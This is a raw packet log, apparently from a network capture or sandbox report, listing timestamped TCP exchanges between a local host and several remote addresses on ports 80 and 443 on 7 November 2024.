Nov 7, 2024 17:25:44.063698053 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.063709974 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.063724041 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.063741922 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.063771009 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.063843966 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.063857079 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.063868999 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.063885927 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.063914061 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.064121008 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.064141989 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.064157963 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.064167023 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.064191103 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.064201117 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.064304113 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.064321041 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.064335108 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.064343929 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.064363956 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.064374924 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.117113113 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.122292995 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.220264912 CET	443	49955	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:44.220669031 CET	49955	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:44.220690966 CET	443	49955	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:44.221034050 CET	443	49955	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:44.221390009 CET	49955	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:44.221446037 CET	443	49955	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:44.221544981 CET	49955	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:44.263340950 CET	443	49955	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:44.369699955 CET	49965	443	192.168.2.6	23.221.22.183
Nov 7, 2024 17:25:44.369733095 CET	443	49965	23.221.22.183	192.168.2.6
Nov 7, 2024 17:25:44.369851112 CET	49965	443	192.168.2.6	23.221.22.183
Nov 7, 2024 17:25:44.370203972 CET	49965	443	192.168.2.6	23.221.22.183
Nov 7, 2024 17:25:44.370217085 CET	443	49965	23.221.22.183	192.168.2.6
Nov 7, 2024 17:25:44.376929045 CET	443	49956	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:44.377211094 CET	49956	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:44.377223015 CET	443	49956	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:44.377573967 CET	443	49956	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:44.377949953 CET	443	49955	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:44.377978086 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.377995014 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.378009081 CET	49956	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:44.378010988 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.378014088 CET	443	49955	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:44.378052950 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.378073931 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.378087997 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.378088951 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.378103971 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.378109932 CET	49955	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:44.378118992 CET	443	49956	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:44.378127098 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.378144026 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.378144979 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.378160954 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.378175020 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.378180981 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.378191948 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.378207922 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.378210068 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.378261089 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.378468037 CET	49956	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:44.382563114 CET	49955	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:44.382575989 CET	443	49955	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:44.393491030 CET	443	49957	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.394073963 CET	49957	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.394092083 CET	443	49957	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.394613981 CET	49957	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.394618988 CET	443	49957	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.419346094 CET	443	49956	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:44.462812901 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.462830067 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.462852955 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.462867022 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.462882996 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.462898016 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.462914944 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.462974072 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.463011026 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.463026047 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.463066101 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.463085890 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.463099957 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.463114023 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.463129044 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.463145018 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.463162899 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.463191032 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.463223934 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.463241100 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.463254929 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.463284969 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.463315964 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.463701963 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.463721037 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.463737011 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.463772058 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.463785887 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.463794947 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.463803053 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.463819027 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.463844061 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.463864088 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.463870049 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.463879108 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.463893890 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.463912010 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.463952065 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.508979082 CET	443	49956	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:44.508996010 CET	443	49956	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:44.509054899 CET	443	49956	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:44.509067059 CET	49956	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:44.509202003 CET	49956	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:44.509769917 CET	443	49958	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.511471987 CET	49958	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.511487007 CET	443	49958	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.512244940 CET	49958	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.512248993 CET	443	49958	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.513490915 CET	49956	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:44.513508081 CET	443	49956	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:44.525326014 CET	443	49957	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.525350094 CET	443	49957	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.525386095 CET	443	49957	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.525418997 CET	49957	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.525450945 CET	49957	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.529382944 CET	49957	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.529401064 CET	443	49957	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.529413939 CET	49957	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.529418945 CET	443	49957	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.534531116 CET	49966	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.534563065 CET	443	49966	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.534862041 CET	49966	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.535123110 CET	49966	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.535126925 CET	443	49966	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.550164938 CET	443	49961	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.550638914 CET	49961	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.550672054 CET	443	49961	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.551137924 CET	49961	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.551145077 CET	443	49961	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.575333118 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.575386047 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.575401068 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.575402021 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.575431108 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.575460911 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.575465918 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.575478077 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.575520039 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.575603008 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.575619936 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.575663090 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.575699091 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.575714111 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.575726986 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.575742960 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.575759888 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.575798035 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.575823069 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.575854063 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.575896025 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.575928926 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.575943947 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.575973034 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.575973988 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.576006889 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.576025963 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.577976942 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.578011036 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.578023911 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.578037977 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.578037977 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.578080893 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.578121901 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.578146935 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.578185081 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.578198910 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.578231096 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.578248024 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.578459024 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.578511000 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.578560114 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.578578949 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.578592062 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.578605890 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.578627110 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.578655005 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.578670979 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.578717947 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.578741074 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.578746080 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.578758001 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.578769922 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.578773975 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.578785896 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.578803062 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.578825951 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.579046011 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.579060078 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.579073906 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.579102039 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.579128027 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.579216003 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.579268932 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.579284906 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.579325914 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.579355955 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.579360008 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.579386950 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.579401016 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.579416037 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.579430103 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.579432964 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.579448938 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.579499006 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.579787016 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.579848051 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.579850912 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.579893112 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.579921007 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.579967022 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.579992056 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.580033064 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.639484882 CET	443	49962	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.640019894 CET	49962	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.640032053 CET	443	49962	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.640566111 CET	49962	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.640571117 CET	443	49962	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.641860962 CET	443	49958	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.642621994 CET	443	49958	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.642786980 CET	49958	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.642813921 CET	49958	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.642831087 CET	443	49958	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.642842054 CET	49958	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.642848969 CET	443	49958	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.646012068 CET	49967	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.646042109 CET	443	49967	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.646142960 CET	49967	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.646369934 CET	49967	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.646384001 CET	443	49967	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.654565096 CET	443	49963	23.221.22.183	192.168.2.6
Nov 7, 2024 17:25:44.654982090 CET	49963	443	192.168.2.6	23.221.22.183
Nov 7, 2024 17:25:44.654993057 CET	443	49963	23.221.22.183	192.168.2.6
Nov 7, 2024 17:25:44.655343056 CET	443	49963	23.221.22.183	192.168.2.6
Nov 7, 2024 17:25:44.656421900 CET	49963	443	192.168.2.6	23.221.22.183
Nov 7, 2024 17:25:44.656487942 CET	443	49963	23.221.22.183	192.168.2.6
Nov 7, 2024 17:25:44.663568974 CET	443	49964	23.221.22.183	192.168.2.6
Nov 7, 2024 17:25:44.663868904 CET	49964	443	192.168.2.6	23.221.22.183
Nov 7, 2024 17:25:44.663912058 CET	443	49964	23.221.22.183	192.168.2.6
Nov 7, 2024 17:25:44.664999008 CET	443	49964	23.221.22.183	192.168.2.6
Nov 7, 2024 17:25:44.665055037 CET	49964	443	192.168.2.6	23.221.22.183
Nov 7, 2024 17:25:44.665472984 CET	49964	443	192.168.2.6	23.221.22.183
Nov 7, 2024 17:25:44.665538073 CET	443	49964	23.221.22.183	192.168.2.6
Nov 7, 2024 17:25:44.680624962 CET	443	49961	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.680701017 CET	443	49961	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.680789948 CET	49961	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.681575060 CET	49961	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.681596994 CET	443	49961	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.681608915 CET	49961	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.681615114 CET	443	49961	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.685540915 CET	49968	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.685565948 CET	443	49968	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.685622931 CET	49968	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.686685085 CET	49968	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:44.686697960 CET	443	49968	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:44.691539049 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.691602945 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.691684008 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.691695929 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.691708088 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.691719055 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.691732883 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.691739082 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.691745996 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.691757917 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.691775084 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.691776991 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.691793919 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.691798925 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.691806078 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.691817999 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.691828966 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.691838980 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.691843033 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.691854954 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.691879034 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.691894054 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.693633080 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.693653107 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.693665981 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.693697929 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.693722963 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.693778038 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.693792105 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.693803072 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.693813086 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.693845034 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.694128990 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.694330931 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.694468021 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.694506884 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.694539070 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.694587946 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.694634914 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.694648027 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.694700003 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.694700003 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.694722891 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.694741011 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.694744110 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.694749117 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.694766045 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.694801092 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.694803953 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.694818020 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.694828987 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.694839954 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.694845915 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.694854021 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.694865942 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.694873095 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.694900990 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.694967985 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.695005894 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.695009947 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.695024014 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.695050001 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.695065022 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.695066929 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.695079088 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.695091009 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.695103884 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.695116043 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.695123911 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.695182085 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.695487022 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.695513964 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.695524931 CET	80	49911	95.215.204.182	192.168.2.6
